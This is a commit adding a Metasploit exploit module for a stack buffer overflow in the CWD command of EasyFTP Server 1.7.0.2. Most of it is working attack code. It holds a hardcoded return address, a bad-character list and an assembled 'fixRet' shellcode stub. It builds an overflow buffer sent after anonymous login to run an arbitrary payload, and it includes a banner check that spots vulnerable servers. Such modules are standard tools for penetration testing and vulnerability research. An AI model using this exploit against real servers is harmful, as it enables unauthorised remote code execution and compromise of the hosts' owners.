add exploit module for easyftp server

git-svn-id: file:///home/svn/framework3/trunk@9145 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/easyftp_cwd_fixret.rb

@@ -0,0 +1,123 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GreatRanking
+
+	include Msf::Exploit::Remote::Ftp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'EasyFTP Server <= 1.7.0.2 CWD Command Stack Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.2.
+				EasyFTP fails to check input size when parsing 'CWD' commands, which allows for
+				easy stack based buffer overflow exploitation.  EasyFTP allows anonymous access by
+				default; valid credentials are typically unnecessary to exploit this vulnerability.
+
+				Later versions may vulnerable, but have not been tested.
+
+				This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
+				This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
+				'fixing' the return address post-exploitation.  See references for more information.
+			},
+			'Author'         =>
+				[
+					'Paul Makowski <my.hndl [at] gmail.com>', # original version
+					'jduck' # various fixes, remove most hardcoded addresses
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
+					[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
+					[ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ],
+					[ 'URL', 'http://code.google.com/p/easyftpsvr/'],
+					[ 'URL', 'https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip' ],
+					[ 'URL', 'http://www.securityfocus.com/bid/38262/exploit']
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
+					'Space'    => 505 - 30 - 25,
+					'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
+					'DisableNops' => true
+				},
+			'Platform'	 => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows Universal', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
+				],
+			'DisclosureDate' => 'Feb 16 2010',
+			'DefaultTarget' => 0))
+	end
+
+	def check
+		connect
+		disconnect
+
+		if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
+			return Exploit::CheckCode::Vulnerable
+		end
+			return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		connect_login
+
+		# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
+		# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/
+
+		# NOTE:
+		# This exploit jumps to edi, which happens to point at a partial version of
+		# the 'buf' string in memory. The fixRet below fixes up the code stored on the
+		# stack and then jumps there to execute the payload. The value in esp is used
+		# with an offset for the fixup.
+		fixRet_asm = %q{
+			mov ecx, 0xdeadbeef
+			mov edi, esp
+			sub edi, 0xfffffe14
+			mov [edi], ecx
+			add edi, 0xffffff14
+			jmp edi
+		}
+		fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string
+
+		buf = ''
+
+		print_status("Prepending fixRet...")
+		buf << fixRet
+		buf << make_nops(0x20 - buf.length)
+		#buf << "C" * (0x20 - buf.length)
+
+		print_status("Adding the payload...")
+		buf << payload.encoded
+
+		# Backup the original return address bytes
+		buf[1,4] = buf[268,4]
+
+		print_status("Overwriting part of the payload with target address...")
+		buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes
+
+		# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..
+
+		print_status("Sending exploit buffer...")
+		send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string
+
+		handler
+		disconnect
+	end
+
+end